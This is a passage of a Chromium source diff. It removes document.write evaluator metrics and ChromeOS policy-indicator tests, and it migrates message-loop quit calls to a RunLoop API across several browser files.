-    "ParseBlockedOnScriptExecutionFromDocumentWrite";
-const char kBackgroundHistogramDocWriteFirstContentfulPaint[] =
-    "PageLoad.Clients.DocWrite.Evaluator.PaintTiming."
-    "NavigationToFirstContentfulPaint."
-    "Background";
-const char kBackgroundHistogramDocWriteParseDuration[] =
-    "PageLoad.Clients.DocWrite.Evaluator.ParseTiming.ParseDuration.Background";
-const char kBackgroundHistogramDocWriteParseBlockedOnScriptLoad[] =
-    "PageLoad.Clients.DocWrite.Evaluator.ParseTiming.ParseBlockedOnScriptLoad."
-    "Background";
-const char kBackgroundHistogramDocWriteParseBlockedOnScriptLoadDocumentWrite[] =
-    "PageLoad.Clients.DocWrite.Evaluator.ParseTiming."
-    "ParseBlockedOnScriptLoadFromDocumentWrite.Background";
-
 const char kHistogramDocWriteBlockFirstContentfulPaint[] =
     "PageLoad.Clients.DocWrite.Block.PaintTiming."
     "NavigationToFirstContentfulPaint";
@@ -89,11 +57,6 @@
     const page_load_metrics::mojom::PageLoadTiming& timing,
     const page_load_metrics::PageLoadExtraInfo& info) {
   if (info.main_frame_metadata.behavior_flags &
-      blink::WebLoadingBehaviorFlag::
-          kWebLoadingBehaviorDocumentWriteEvaluator) {
-    LogDocumentWriteEvaluatorFirstContentfulPaint(timing, info);
-  }
-  if (info.main_frame_metadata.behavior_flags &
       blink::WebLoadingBehaviorFlag::kWebLoadingBehaviorDocumentWriteBlock) {
     LogDocumentWriteBlockFirstContentfulPaint(timing, info);
   }
@@ -104,11 +67,6 @@
         const page_load_metrics::mojom::PageLoadTiming& timing,
         const page_load_metrics::PageLoadExtraInfo& info) {
   if (info.main_frame_metadata.behavior_flags &
-      blink::WebLoadingBehaviorFlag::
-          kWebLoadingBehaviorDocumentWriteEvaluator) {
-    LogDocumentWriteEvaluatorFirstMeaningfulPaint(timing, info);
-  }
-  if (info.main_frame_metadata.behavior_flags &
       blink::WebLoadingBehaviorFlag::kWebLoadingBehaviorDocumentWriteBlock) {
     LogDocumentWriteBlockFirstMeaningfulPaint(timing, info);
   }
@@ -118,11 +76,6 @@
     const page_load_metrics::mojom::PageLoadTiming& timing,
     const page_load_metrics::PageLoadExtraInfo& info) {
   if (info.main_frame_metadata.behavior_flags &
-      blink::WebLoadingBehaviorFlag::
-          kWebLoadingBehaviorDocumentWriteEvaluator) {
-    LogDocumentWriteEvaluatorParseStop(timing, info);
-  }
-  if (info.main_frame_metadata.behavior_flags &
       blink::WebLoadingBehaviorFlag::kWebLoadingBehaviorDocumentWriteBlock) {
     LogDocumentWriteBlockParseStop(timing, info);
   }
@@ -182,25 +135,6 @@
   }
 }
 
-void DocumentWritePageLoadMetricsObserver::
-    LogDocumentWriteEvaluatorFirstContentfulPaint(
-        const page_load_metrics::mojom::PageLoadTiming& timing,
-        const page_load_metrics::PageLoadExtraInfo& info) {
-  if (WasStartedInForegroundOptionalEventInForeground(
-          timing.paint_timing->first_contentful_paint, info)) {
-    PAGE_LOAD_HISTOGRAM(internal::kHistogramDocWriteFirstContentfulPaint,
-                        timing.paint_timing->first_contentful_paint.value());
-    PAGE_LOAD_HISTOGRAM(
-        internal::kHistogramDocWriteParseStartToFirstContentfulPaint,
-        timing.paint_timing->first_contentful_paint.value() -
-            timing.parse_timing->parse_start.value());
-  } else {
-    PAGE_LOAD_HISTOGRAM(
-        internal::kBackgroundHistogramDocWriteFirstContentfulPaint,
-        timing.paint_timing->first_contentful_paint.value());
-  }
-}
-
 // Note: The first meaningful paint calculation in the core observer filters
 // out pages which had user interaction before the first meaningful paint.
 // Because the counts of those instances are low (< 2%), just log everything
@@ -208,20 +142,6 @@
 // canary), the page_load_metrics API should be altered to return the values
 // the consumer wants.
 void DocumentWritePageLoadMetricsObserver::
-    LogDocumentWriteEvaluatorFirstMeaningfulPaint(
-        const page_load_metrics::mojom::PageLoadTiming& timing,
-        const page_load_metrics::PageLoadExtraInfo& info) {
-  if (WasStartedInForegroundOptionalEventInForeground(
-          timing.paint_timing->first_meaningful_paint, info)) {
-    PAGE_LOAD_HISTOGRAM(
-        "PageLoad.Clients.DocWrite.Evaluator.Experimental.PaintTiming."
-        "ParseStartToFirstMeaningfulPaint",
-        timing.paint_timing->first_meaningful_paint.value() -
-            timing.parse_timing->parse_start.value());
-  }
-}
-
-void DocumentWritePageLoadMetricsObserver::
     LogDocumentWriteBlockFirstMeaningfulPaint(
         const page_load_metrics::mojom::PageLoadTiming& timing,
         const page_load_metrics::PageLoadExtraInfo& info) {
@@ -235,47 +155,6 @@
   }
 }
 
-void DocumentWritePageLoadMetricsObserver::LogDocumentWriteEvaluatorParseStop(
-    const page_load_metrics::mojom::PageLoadTiming& timing,
-    const page_load_metrics::PageLoadExtraInfo& info) {
-  base::TimeDelta parse_duration = timing.parse_timing->parse_stop.value() -
-                                   timing.parse_timing->parse_start.value();
-  if (WasStartedInForegroundOptionalEventInForeground(
-          timing.parse_timing->parse_stop, info)) {
-    PAGE_LOAD_HISTOGRAM(internal::kHistogramDocWriteParseDuration,
-                        parse_duration);
-    PAGE_LOAD_HISTOGRAM(
-        internal::kHistogramDocWriteParseBlockedOnScriptLoad,
-        timing.parse_timing->parse_blocked_on_script_load_duration.value());
-    PAGE_LOAD_HISTOGRAM(
-        internal::kHistogramDocWriteParseBlockedOnScriptLoadDocumentWrite,
-        timing.parse_timing
-            ->parse_blocked_on_script_load_from_document_write_duration
-            .value());
-    PAGE_LOAD_HISTOGRAM(
-        internal::kHistogramDocWriteParseBlockedOnScriptExecution,
-        timing.parse_timing->parse_blocked_on_script_execution_duration
-            .value());
-    PAGE_LOAD_HISTOGRAM(
-        internal::kHistogramDocWriteParseBlockedOnScriptExecutionDocumentWrite,
-        timing.parse_timing
-            ->parse_blocked_on_script_execution_from_document_write_duration
-            .value());
-  } else {
-    PAGE_LOAD_HISTOGRAM(internal::kBackgroundHistogramDocWriteParseDuration,
-                        parse_duration);
-    PAGE_LOAD_HISTOGRAM(
-        internal::kBackgroundHistogramDocWriteParseBlockedOnScriptLoad,
-        timing.parse_timing->parse_blocked_on_script_load_duration.value());
-    PAGE_LOAD_HISTOGRAM(
-        internal::
-            kBackgroundHistogramDocWriteParseBlockedOnScriptLoadDocumentWrite,
-        timing.parse_timing
-            ->parse_blocked_on_script_load_from_document_write_duration
-            .value());
-  }
-}
-
 void DocumentWritePageLoadMetricsObserver::
     LogDocumentWriteBlockFirstContentfulPaint(
         const page_load_metrics::mojom::PageLoadTiming& timing,
diff --git a/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer.h b/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer.h
index 705fd70..6bf8a3c 100644
--- a/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer.h
+++ b/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer.h
@@ -55,18 +55,6 @@
   static void LogLoadingBehaviorMetrics(DocumentWriteLoadingBehavior behavior,
                                         ukm::SourceId source_id);
 
-  void LogDocumentWriteEvaluatorFirstContentfulPaint(
-      const page_load_metrics::mojom::PageLoadTiming& timing,
-      const page_load_metrics::PageLoadExtraInfo& info);
-
-  void LogDocumentWriteEvaluatorFirstMeaningfulPaint(
-      const page_load_metrics::mojom::PageLoadTiming& timing,
-      const page_load_metrics::PageLoadExtraInfo& info);
-
-  void LogDocumentWriteEvaluatorParseStop(
-      const page_load_metrics::mojom::PageLoadTiming& timing,
-      const page_load_metrics::PageLoadExtraInfo& info);
-
   void LogDocumentWriteBlockFirstContentfulPaint(
       const page_load_metrics::mojom::PageLoadTiming& timing,
       const page_load_metrics::PageLoadExtraInfo& info);
diff --git a/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer_unittest.cc b/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer_unittest.cc
index 0e90003..00eefb0 100644
--- a/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer_unittest.cc
+++ b/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer_unittest.cc
@@ -16,10 +16,6 @@
     tracker->AddObserver(
         base::MakeUnique<DocumentWritePageLoadMetricsObserver>());
   }
-  void AssertNoPreloadHistogramsLogged() {
-    histogram_tester().ExpectTotalCount(
-        internal::kHistogramDocWriteParseStartToFirstContentfulPaint, 0);
-  }
 
   void AssertNoBlockHistogramsLogged() {
     histogram_tester().ExpectTotalCount(
@@ -28,56 +24,10 @@
 };
 
 TEST_F(DocumentWritePageLoadMetricsObserverTest, NoMetrics) {
-  AssertNoPreloadHistogramsLogged();
   AssertNoBlockHistogramsLogged();
   EXPECT_EQ(0ul, test_ukm_recorder().entries_count());
 }
 
-TEST_F(DocumentWritePageLoadMetricsObserverTest, PossiblePreload) {
-  base::TimeDelta contentful_paint = base::TimeDelta::FromMilliseconds(1);
-  page_load_metrics::mojom::PageLoadTiming timing;
-  page_load_metrics::InitPageLoadTimingForTest(&timing);
-  timing.navigation_start = base::Time::FromDoubleT(1);
-  timing.paint_timing->first_contentful_paint = contentful_paint;
-  timing.parse_timing->parse_start = base::TimeDelta::FromMilliseconds(1);
-  PopulateRequiredTimingFields(&timing);
-
-  page_load_metrics::mojom::PageLoadMetadata metadata;
-  metadata.behavior_flags |=
-      blink::WebLoadingBehaviorFlag::kWebLoadingBehaviorDocumentWriteEvaluator;
-  NavigateAndCommit(GURL("https://www.google.com/"));
-  SimulateTimingAndMetadataUpdate(timing, metadata);
-
-  histogram_tester().ExpectTotalCount(
-      internal::kHistogramDocWriteParseStartToFirstContentfulPaint, 1);
-  histogram_tester().ExpectBucketCount(
-      internal::kHistogramDocWriteParseStartToFirstContentfulPaint,
-      contentful_paint.InMilliseconds(), 1);
-
-  NavigateAndCommit(GURL("https://www.example.com/"));
-
-  histogram_tester().ExpectTotalCount(
-      internal::kHistogramDocWriteParseStartToFirstContentfulPaint, 1);
-  histogram_tester().ExpectBucketCount(
-      internal::kHistogramDocWriteParseStartToFirstContentfulPaint,
-      contentful_paint.InMilliseconds(), 1);
-}
-
-TEST_F(DocumentWritePageLoadMetricsObserverTest, NoPossiblePreload) {
-  base::TimeDelta contentful_paint = base::TimeDelta::FromMilliseconds(1);
-  page_load_metrics::mojom::PageLoadTiming timing;
-  page_load_metrics::InitPageLoadTimingForTest(&timing);
-  timing.navigation_start = base::Time::FromDoubleT(1);
-  timing.paint_timing->first_contentful_paint = contentful_paint;
-  PopulateRequiredTimingFields(&timing);
-
-  page_load_metrics::mojom::PageLoadMetadata metadata;
-  NavigateAndCommit(GURL("https://www.google.com/"));
-  SimulateTimingAndMetadataUpdate(timing, metadata);
-  NavigateAndCommit(GURL("https://www.example.com/"));
-  AssertNoPreloadHistogramsLogged();
-}
-
 TEST_F(DocumentWritePageLoadMetricsObserverTest, PossibleBlock) {
   base::TimeDelta contentful_paint = base::TimeDelta::FromMilliseconds(1);
   page_load_metrics::mojom::PageLoadTiming timing;
diff --git a/chrome/browser/page_load_metrics/page_load_metrics_browsertest.cc b/chrome/browser/page_load_metrics/page_load_metrics_browsertest.cc
index 66e12c4..239fd067 100644
--- a/chrome/browser/page_load_metrics/page_load_metrics_browsertest.cc
+++ b/chrome/browser/page_load_metrics/page_load_metrics_browsertest.cc
@@ -574,37 +574,6 @@
   EXPECT_TRUE(NoPageLoadMetricsRecorded());
 }
 
-IN_PROC_BROWSER_TEST_F(PageLoadMetricsBrowserTest, PreloadDocumentWrite) {
-  ASSERT_TRUE(embedded_test_server()->Start());
-
-  auto waiter = CreatePageLoadMetricsWaiter();
-  waiter->AddPageExpectation(TimingField::FIRST_CONTENTFUL_PAINT);
-
-  ui_test_utils::NavigateToURL(
-      browser(), embedded_test_server()->GetURL(
-                     "/page_load_metrics/document_write_external_script.html"));
-  waiter->Wait();
-
-  histogram_tester_.ExpectTotalCount(
-      internal::kHistogramDocWriteParseStartToFirstContentfulPaint, 1);
-}
-
-IN_PROC_BROWSER_TEST_F(PageLoadMetricsBrowserTest, NoPreloadDocumentWrite) {
-  ASSERT_TRUE(embedded_test_server()->Start());
-
-  auto waiter = CreatePageLoadMetricsWaiter();
-  waiter->AddPageExpectation(TimingField::FIRST_CONTENTFUL_PAINT);
-  ui_test_utils::NavigateToURL(
-      browser(), embedded_test_server()->GetURL(
-                     "/page_load_metrics/document_write_no_script.html"));
-  waiter->Wait();
-
-  histogram_tester_.ExpectTotalCount(internal::kHistogramFirstContentfulPaint,
-                                     1);
-  histogram_tester_.ExpectTotalCount(
-      internal::kHistogramDocWriteParseStartToFirstContentfulPaint, 0);
-}
-
 IN_PROC_BROWSER_TEST_F(PageLoadMetricsBrowserTest, NoDocumentWrite) {
   ASSERT_TRUE(embedded_test_server()->Start());
 
@@ -618,8 +587,6 @@
   histogram_tester_.ExpectTotalCount(internal::kHistogramFirstContentfulPaint,
                                      1);
   histogram_tester_.ExpectTotalCount(
-      internal::kHistogramDocWriteParseStartToFirstContentfulPaint, 0);
-  histogram_tester_.ExpectTotalCount(
       internal::kHistogramDocWriteBlockParseStartToFirstContentfulPaint, 0);
   histogram_tester_.ExpectTotalCount(internal::kHistogramDocWriteBlockCount, 0);
 }
diff --git a/chrome/browser/password_manager/password_store_win_unittest.cc b/chrome/browser/password_manager/password_store_win_unittest.cc
index 3be0dbb..46c64de 100644
--- a/chrome/browser/password_manager/password_store_win_unittest.cc
+++ b/chrome/browser/password_manager/password_store_win_unittest.cc
@@ -188,7 +188,7 @@
 };
 
 ACTION(QuitUIMessageLoop) {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 MATCHER(EmptyWDResult, "") {
diff --git a/chrome/browser/policy/policy_browsertest.cc b/chrome/browser/policy/policy_browsertest.cc
index 5b9e2e3..a28cc8d0 100644
--- a/chrome/browser/policy/policy_browsertest.cc
+++ b/chrome/browser/policy/policy_browsertest.cc
@@ -3254,7 +3254,7 @@
                    base::Unretained(this)),
         &prompt_delegate_);
 
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void FinishVideoTest() {
@@ -3268,7 +3268,7 @@
                    base::Unretained(this)),
         &prompt_delegate_);
 
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   TestPermissionPromptDelegate prompt_delegate_;
@@ -3969,7 +3969,7 @@
   interceptor_factory_ = nullptr;
   cus_ = nullptr;
 
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void ComponentUpdaterPolicyTest::VerifyExpectations(bool update_disabled) {
diff --git a/chrome/browser/policy/policy_prefs_browsertest.cc b/chrome/browser/policy/policy_prefs_browsertest.cc
index 4235de509..b35b5bcaa 100644
--- a/chrome/browser/policy/policy_prefs_browsertest.cc
+++ b/chrome/browser/policy/policy_prefs_browsertest.cc
@@ -374,115 +374,6 @@
   DISALLOW_COPY_AND_ASSIGN(PolicyTestCases);
 };
 
-#if defined(OS_CHROMEOS)
-
-// Returns a pseudo-random integer distributed in [0, range).
-int GetRandomNumber(int range) {
-  return rand() % range;
-}
-
-// Splits all known policies into subsets of the given |chunk_size|. The
-// policies are shuffled so that there is no correlation between their initial
-// alphabetic ordering and the assignment to chunks. This ensures that the
-// expected number of policies with long-running test cases is equal for each
-// subset. The shuffle algorithm uses a fixed seed, ensuring that no randomness
-// is introduced into the testing process.
-std::vector<std::vector<std::string> > SplitPoliciesIntoChunks(int chunk_size) {
-  Schema chrome_schema = Schema::Wrap(GetChromeSchemaData());
-  if (!chrome_schema.valid())
-    ADD_FAILURE();
-
-  std::vector<std::string> policies;
-  for (Schema::Iterator it = chrome_schema.GetPropertiesIterator();
-       !it.IsAtEnd(); it.Advance()) {
-    policies.push_back(it.key());
-  }
-
-  // Use a fixed random seed to obtain a reproducible shuffle.
-  srand(1);
-  std::random_shuffle(policies.begin(), policies.end(), GetRandomNumber);
-
-  std::vector<std::vector<std::string> > chunks;
-  std::vector<std::string>::const_iterator it = policies.begin();
-  const std::vector<std::string>::const_iterator end = policies.end();
-  for ( ; end - it >= chunk_size; it += chunk_size)
-    chunks.push_back(std::vector<std::string>(it, it + chunk_size));
-  if (it != end)
-    chunks.push_back(std::vector<std::string>(it, end));
-  return chunks;
-}
-
-void VerifyControlledSettingIndicators(Browser* browser,
-                                       const std::string& selector,
-                                       const std::string& value,
-                                       const std::string& controlled_by,
-                                       bool readonly) {
-  std::stringstream javascript;
-  javascript << "var nodes = document.querySelectorAll("
-             << "    'span.controlled-setting-indicator"
-             <<          selector.c_str() << "');"
-             << "var indicators = [];"
-             << "for (var i = 0; i < nodes.length; i++) {"
-             << "  var node = nodes[i];"
-             << "  var indicator = {};"
-             << "  indicator.value = node.value || '';"
-             << "  indicator.controlledBy = node.controlledBy || '';"
-             << "  indicator.readOnly = node.readOnly || false;"
-             << "  indicator.visible ="
-             << "      window.getComputedStyle(node).display != 'none';"
-             << "  indicators.push(indicator)"
-             << "}"
-             << "domAutomationController.send(JSON.stringify(indicators));";
-  content::WebContents* contents =
-      browser->tab_strip_model()->GetActiveWebContents();
-  std::string json;
-  // Retrieve the state of all controlled setting indicators matching the
-  // |selector| as JSON.
-  ASSERT_TRUE(content::ExecuteScriptAndExtractString(contents, javascript.str(),
-                                                     &json));
-  std::unique_ptr<base::Value> value_ptr = base::JSONReader::Read(json);
-  const base::ListValue* indicators = NULL;
-  ASSERT_TRUE(value_ptr.get());
-  ASSERT_TRUE(value_ptr->GetAsList(&indicators));
-  // Verify that controlled setting indicators representing |value| are visible
-  // and have the correct state while those not representing |value| are
-  // invisible.
-  if (!controlled_by.empty()) {
-    EXPECT_GT(indicators->GetSize(), 0u)
-        << "Expected to find at least one controlled setting indicator.";
-  }
-  bool have_visible_indicators = false;
-  for (base::ListValue::const_iterator indicator = indicators->begin();
-       indicator != indicators->end(); ++indicator) {
-    const base::DictionaryValue* properties = NULL;
-    ASSERT_TRUE(indicator->GetAsDictionary(&properties));
-    std::string indicator_value;
-    std::string indicator_controlled_by;
-    bool indicator_readonly;
-    bool indicator_visible;
-    EXPECT_TRUE(properties->GetString("value", &indicator_value));
-    EXPECT_TRUE(properties->GetString("controlledBy",
-                                      &indicator_controlled_by));
-    EXPECT_TRUE(properties->GetBoolean("readOnly", &indicator_readonly));
-    EXPECT_TRUE(properties->GetBoolean("visible", &indicator_visible));
-    if (!controlled_by.empty() && (indicator_value == value)) {
-      EXPECT_EQ(controlled_by, indicator_controlled_by);
-      EXPECT_EQ(readonly, indicator_readonly);
-      EXPECT_TRUE(indicator_visible);
-      have_visible_indicators = true;
-    } else {
-      EXPECT_FALSE(indicator_visible);
-    }
-  }
-  if (!controlled_by.empty()) {
-    EXPECT_TRUE(have_visible_indicators)
-        << "Expected to find at least one visible controlled setting "
-        << "indicator.";
-  }
-}
-
-#endif  // defined(OS_CHROMEOS)
-
 }  // namespace
 
 typedef InProcessBrowserTest PolicyPrefsTestCoverageTest;
@@ -602,186 +493,7 @@
   }
 }
 
-class PolicyPrefIndicatorTest
-    : public PolicyPrefsTest,
-      public testing::WithParamInterface<std::vector<std::string> > {
-};
-
-#if defined(OS_CHROMEOS)
-
-// Verifies that controlled setting indicators correctly show whether a pref's
-// value is recommended or enforced by a corresponding policy.
-IN_PROC_BROWSER_TEST_P(PolicyPrefIndicatorTest, CheckPolicyIndicators) {
-  const PolicyTestCases test_cases;
-  PrefService* local_state = g_browser_process->local_state();
-  PrefService* user_prefs = browser()->profile()->GetPrefs();
-
-  ui_test_utils::NavigateToURL(browser(),
-                               GURL(chrome::kChromeUISettingsFrameURL));
-
-  for (std::vector<std::string>::const_iterator policy = GetParam().begin();
-       policy != GetParam().end();
-       ++policy) {
-    const std::vector<PolicyTestCase*>* policy_test_cases =
-        test_cases.Get(*policy);
-    ASSERT_TRUE(policy_test_cases) << "PolicyTestCase not found for "
-                                   << *policy;
-    for (std::vector<PolicyTestCase*>::const_iterator test_case =
-             policy_test_cases->begin();
-         test_case != policy_test_cases->end();
-         ++test_case) {
-      PolicyTestCase* policy_test_case = *test_case;
-      if (!policy_test_case->IsSupported())
-        continue;
-      const auto& pref_mappings = policy_test_case->pref_mappings();
-      if (policy_test_case->indicator_selector().empty()) {
-        bool has_pref_indicator_tests = false;
-        for (const auto& pref_mapping : pref_mappings) {
-          PrefService* prefs =
-              pref_mapping->is_local_state() ? local_state : user_prefs;
-          if (prefs->FindPreference(pref_mapping->pref()))
-            prefs->ClearPref(pref_mapping->pref());
-          if (!pref_mapping->indicator_test_cases().empty()) {
-            has_pref_indicator_tests = true;
-            break;
-          }
-        }
-        if (!has_pref_indicator_tests)
-          continue;
-      }
-
-      LOG(INFO) << "Testing policy: " << *policy;
-
-      if (!policy_test_case->indicator_selector().empty()) {
-        // Check that no controlled setting indicator is visible when no value
-        // is set by policy.
-        ClearProviderPolicy();
-        VerifyControlledSettingIndicators(
-            browser(),
-            policy_test_case->indicator_selector(),
-            std::string(),
-            std::string(),
-            false);
-        // Check that the appropriate controlled setting indicator is shown when
-        // a value is enforced by policy.
-        SetProviderPolicy(policy_test_case->test_policy(),
-                          POLICY_LEVEL_MANDATORY);
-        VerifyControlledSettingIndicators(
-            browser(),
-            policy_test_case->indicator_selector(),
-            std::string(),
-            "policy",
-            false);
-        // Check that no controlled setting indicator is visible when previously
-        // enforced value is removed.
-        ClearProviderPolicy();
-        VerifyControlledSettingIndicators(
-            browser(),
-            policy_test_case->indicator_selector(),
-            std::string(),
-            std::string(),
-            false);
-      }
-
-      for (const auto& pref_mapping : pref_mappings) {
-        const auto& indicator_test_cases = pref_mapping->indicator_test_cases();
-        if (indicator_test_cases.empty())
-          continue;
-
-        if (!pref_mapping->indicator_test_setup_js().empty()) {
-          ASSERT_TRUE(content::ExecuteScript(
-              browser()->tab_strip_model()->GetActiveWebContents(),
-              pref_mapping->indicator_test_setup_js()));
-        }
-
-        // A non-empty indicator_test_url is expected to be used in very
-        // few cases, so it's currently implemented by navigating to the URL
-        // right before the test and navigating back afterwards.
-        // If you introduce many test cases with the same non-empty
-        // indicator_test_url, this would be inefficient. We could consider
-        // navigting to a specific indicator_test_url once for many test cases
-        // instead.
-        if (!pref_mapping->indicator_test_url().empty()) {
-          ui_test_utils::NavigateToURL(
-              browser(), GURL(pref_mapping->indicator_test_url()));
-        }
-
-        std::string indicator_selector = pref_mapping->indicator_selector();
-        if (indicator_selector.empty())
-          indicator_selector = "[pref=\"" + pref_mapping->pref() + "\"]";
-        for (auto indicator_test_case = indicator_test_cases.begin();
-             indicator_test_case != indicator_test_cases.end();
-             ++indicator_test_case) {
-          // Check that no controlled setting indicator is visible when no value
-          // is set by policy.
-          ClearProviderPolicy();
-          VerifyControlledSettingIndicators(browser(),
-                                            indicator_selector,
-                                            std::string(),
-                                            std::string(),
-                                            false);
-
-          if (pref_mapping->check_for_mandatory()) {
-            // Check that the appropriate controlled setting indicator is shown
-            // when a value is enforced by policy.
-            SetProviderPolicy((*indicator_test_case)->policy(),
-                              POLICY_LEVEL_MANDATORY);
-
-            VerifyControlledSettingIndicators(
-                browser(),
-                indicator_selector,
-                (*indicator_test_case)->value(),
-                "policy",
-                (*indicator_test_case)->readonly());
-          }
-
-          if (!policy_test_case->can_be_recommended() ||
-              !pref_mapping->check_for_recommended()) {
-            continue;
-          }
-
-          PrefService* prefs =
-              pref_mapping->is_local_state() ? local_state : user_prefs;
-          // The preference must have been registered.
-          const PrefService::Preference* pref =
-              prefs->FindPreference(pref_mapping->pref().c_str());
-          ASSERT_TRUE(pref);
-
-          // Check that the appropriate controlled setting indicator is shown
-          // when a value is recommended by policy and the user has not
-          // overridden the recommendation.
-          SetProviderPolicy((*indicator_test_case)->policy(),
-                            POLICY_LEVEL_RECOMMENDED);
-          VerifyControlledSettingIndicators(browser(),
-                                            indicator_selector,
-                                            (*indicator_test_case)->value(),
-                                            "recommended",
-                                            (*indicator_test_case)->readonly());
-          // Check that the appropriate controlled setting indicator is shown
-          // when a value is recommended by policy and the user has overridden
-          // the recommendation.
-          prefs->Set(pref_mapping->pref().c_str(), *pref->GetValue());
-          VerifyControlledSettingIndicators(browser(),
-                                            indicator_selector,
-                                            (*indicator_test_case)->value(),
-                                            "hasRecommendation",
-                                            (*indicator_test_case)->readonly());
-          prefs->ClearPref(pref_mapping->pref().c_str());
-        }
-
-        if (!pref_mapping->indicator_test_url().empty()) {
-          ui_test_utils::NavigateToURL(browser(),
-                                       GURL(chrome::kChromeUISettingsFrameURL));
-        }
-      }
-    }
-  }
-}
-
-INSTANTIATE_TEST_CASE_P(PolicyPrefIndicatorTestInstance,
-                        PolicyPrefIndicatorTest,
-                        testing::ValuesIn(SplitPoliciesIntoChunks(10)));
-
-#endif  // defined(OS_CHROMEOS)
+// For WebUI integration tests, see cr_policy_indicator_tests.js and
+// cr_policy_pref_indicator_tests.js.
 
 }  // namespace policy
diff --git a/chrome/browser/prefs/browser_prefs.cc b/chrome/browser/prefs/browser_prefs.cc
index 7e207ed..f16d3af 100644
--- a/chrome/browser/prefs/browser_prefs.cc
+++ b/chrome/browser/prefs/browser_prefs.cc
@@ -263,7 +263,7 @@
 #endif
 
 #if !defined(OS_ANDROID) && !defined(OS_CHROMEOS) && !defined(OS_MACOSX)
-#include "chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.h"
+#include "chrome/browser/feature_engagement/new_tab/new_tab_tracker.h"
 #endif
 
 #if !defined(OS_ANDROID) && !defined(OS_CHROMEOS)
@@ -587,7 +587,7 @@
 #endif
 
 #if !defined(OS_ANDROID) && !defined(OS_CHROMEOS) && !defined(OS_MACOSX)
-  feature_engagement_tracker::NewTabTracker::RegisterProfilePrefs(registry);
+  feature_engagement::NewTabTracker::RegisterProfilePrefs(registry);
 #endif
 
 #if defined(OS_CHROMEOS)
diff --git a/chrome/browser/printing/cloud_print/privet_http_unittest.cc b/chrome/browser/printing/cloud_print/privet_http_unittest.cc
index 0b396f8c..1c7dad8 100644
--- a/chrome/browser/printing/cloud_print/privet_http_unittest.cc
+++ b/chrome/browser/printing/cloud_print/privet_http_unittest.cc
@@ -11,7 +11,6 @@
 #include "base/json/json_writer.h"
 #include "base/location.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/test/scoped_task_environment.h"
@@ -356,7 +355,7 @@
     callback.Cancel();
   }
 
-  void Stop() { base::MessageLoop::current()->QuitWhenIdle(); }
+  void Stop() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
  protected:
   base::test::ScopedTaskEnvironment scoped_task_environment_;
diff --git a/chrome/browser/printing/cloud_print/privet_url_fetcher_unittest.cc b/chrome/browser/printing/cloud_print/privet_url_fetcher_unittest.cc
index ef541ca..016fb20 100644
--- a/chrome/browser/printing/cloud_print/privet_url_fetcher_unittest.cc
+++ b/chrome/browser/printing/cloud_print/privet_url_fetcher_unittest.cc
@@ -7,7 +7,6 @@
 #include <memory>
 
 #include "base/location.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/test/scoped_task_environment.h"
@@ -118,7 +117,7 @@
     callback.Cancel();
   }
 
-  void Stop() { base::MessageLoop::current()->QuitWhenIdle(); }
+  void Stop() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
  protected:
   base::test::ScopedTaskEnvironment scoped_task_environment_;
diff --git a/chrome/browser/printing/cloud_print/test/cloud_print_proxy_process_browsertest.cc b/chrome/browser/printing/cloud_print/test/cloud_print_proxy_process_browsertest.cc
index 931a585..9940399 100644
--- a/chrome/browser/printing/cloud_print/test/cloud_print_proxy_process_browsertest.cc
+++ b/chrome/browser/printing/cloud_print/test/cloud_print_proxy_process_browsertest.cc
@@ -397,7 +397,7 @@
     void Notify() {
       seen_ = true;
       if (running_)
-        base::MessageLoopForUI::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
 
    private:
diff --git a/chrome/browser/printing/print_job.cc b/chrome/browser/printing/print_job.cc
index d9535550..4fc7d84e 100644
--- a/chrome/browser/printing/print_job.cc
+++ b/chrome/browser/printing/print_job.cc
@@ -477,7 +477,7 @@
 }
 
 void PrintJob::Quit() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // Takes settings_ ownership and will be deleted in the receiving thread.
diff --git a/chrome/browser/printing/print_view_manager_base.cc b/chrome/browser/printing/print_view_manager_base.cc
index 9d81a019..dd302e3 100644
--- a/chrome/browser/printing/print_view_manager_base.cc
+++ b/chrome/browser/printing/print_view_manager_base.cc
@@ -367,7 +367,7 @@
   // to actually spool the pages, only to have the renderer generate them. Run
   // a message loop until we get our signal that the print job is satisfied.
   // PrintJob will send a ALL_PAGES_REQUESTED after having received all the
-  // pages it needs. MessageLoop::current()->QuitWhenIdle() will be called as
+  // pages it needs. RunLoop::QuitCurrentWhenIdleDeprecated() will be called as
   // soon as print_job_->document()->IsComplete() is true on either
   // ALL_PAGES_REQUESTED or in DidPrintPage(). The check is done in
   // ShouldQuitFromInnerMessageLoop().
@@ -388,7 +388,7 @@
       inside_inner_message_loop_) {
     // We are in a message loop created by RenderAllMissingPagesNow. Quit from
     // it.
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     inside_inner_message_loop_ = false;
   }
 }
@@ -495,9 +495,10 @@
   // memory-bound.
   static const int kPrinterSettingsTimeout = 60000;
   base::OneShotTimer quit_timer;
-  quit_timer.Start(
-      FROM_HERE, TimeDelta::FromMilliseconds(kPrinterSettingsTimeout),
